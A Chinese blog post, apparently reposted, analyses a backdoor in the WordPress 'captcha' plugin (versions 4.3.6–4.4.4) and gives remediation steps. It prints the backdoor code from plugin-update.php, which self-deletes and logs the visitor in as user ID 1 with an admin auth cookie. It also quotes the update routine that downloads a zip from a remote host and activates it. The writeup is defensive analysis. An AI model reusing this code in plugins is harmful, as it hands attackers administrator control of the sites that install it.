Captcha插件后门分析和修复
0×00 前言
近日看到網上爆出wordpress官方插件captcha出現后門,大驚,本人當初千辛萬苦找驗證碼插件,在十幾個插件中選了這款,感覺還挺好用,竟然爆后門,趕緊去博客 排查,還好由于安裝比較早,并沒發現后門,發文紀念一下這次差點中招……
0×01 概述
據說這個后門是偶然被發現的,是因為含后門版本的作者對使用wordpress商標的問題,接著wordpress把captcha下架,繼而wordfence(為wordpress提供waf的廠商)檢查發現插件后門。
這個后門是更新觸發,從4.3.6版本開始(本人安裝的版本)就有后門,執行插件更新就會加入后門代碼。這個后門利用userID(admin)創建會話,設置認證cookie,接著刪除痕跡,后門是管理員權限,但是由于執行了unlink(__FILE__),所以只能被用一次。
0×02 影響范圍
有300000+活躍安裝
后門首次發現在12月4日的4.3.6版本,官方在12月20日刪除該后門,所以4日到20日更新該插件的用戶都必然被植入了后門(幸好本人不(lan)常(de)更新)。
受影響版本:4.3.6~4.4.4
0×03 后門分析
這里利用12月4日的4.3.6版本的源碼分析
https://plugins.trac.wordpress.org/changeset/1780758/captcha
Captcha.php:
首先看看cptch_wp_plugin_auto_update()函數,由函數名可以看出這是自動更新功能,其中$wptuts_plugin_remote_path = ’https://simplywordpress.net/captcha/captcha_pro_update.php‘;
請求這個文件會下載zip對該插件更新,但是本人訪問已經空白無下載(20171222)。
繼續往下到8394行:
if(isset($_GET['captcha']) and? $_GET['captcha'] == 'updateplugin')
{
add_action('init', 'cptch_wp_plugin_auto_update');
}
表示點擊更新則調用cptch_wp_plugin_auto_update()函數。
看看8390行 ?
new cptch_wp_auto_update($wptuts_plugin_current_version, $wptuts_plugin_remote_path, $wptuts_plugin_slug);
那就進入cptch_wp_auto_update這個類看看。
cptch_wp_auto_update.php:
一堆賦值后進入 if($this->cptch_check_update())執行更新
那就來到cptch_check_update()函數看看
關鍵代碼:
$url = $this->update_path; // Local Zip File Path
curl_setopt($ch, CURLOPT_URL, $url);
$page = curl_exec($ch);
接著解壓更新
activate_plugins($my_plugin);
更新的zip內存在后門文件
plugin-update.php:
關鍵代碼:
@unlink(__FILE__);
require('../../../wp-blog-header.php');
require('../../../wp-includes/pluggable.php');
$user_info = get_userdata(1);
// Automatic login //
$username = $user_info->user_login;
$user = get_user_by('login', $username );
// Redirect URL //
if ( !is_wp_error( $user ) )
{
wp_clear_auth_cookie();
wp_set_current_user ( $user->ID );
wp_set_auth_cookie? ( $user->ID );
$redirect_to = user_admin_url();
wp_safe_redirect( $redirect_to );
exit();
}
Unlink(__FILE__):刪除自己
Get_userdata(1):獲取管理員信息
Wp_clear_auth_cookie():移除關聯認證的cookie
Wp_set_current_user():改變當前用戶
Wp_set_auth_cookie():根據userID設置認證cookie
接著攻擊者就以管理員進入后臺。
0×04 修復方案
??? 1.刪除后門文件plugin-update.php。
??? 2.查看captcha.php是否有后門鏈接,有則手動刪除插件再安裝最新版本。
??? 3.更新到最新版本。
轉載于:https://www.cnblogs.com/heikeboke/p/8126560.html
總結
以上是生活随笔為你收集整理的Captcha插件后门分析和修复的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 特斯拉上海员工奖金大涨?官方:人数众多
- 下一篇: 索尼减少大型产品塑料包装,推进采用聚苯乙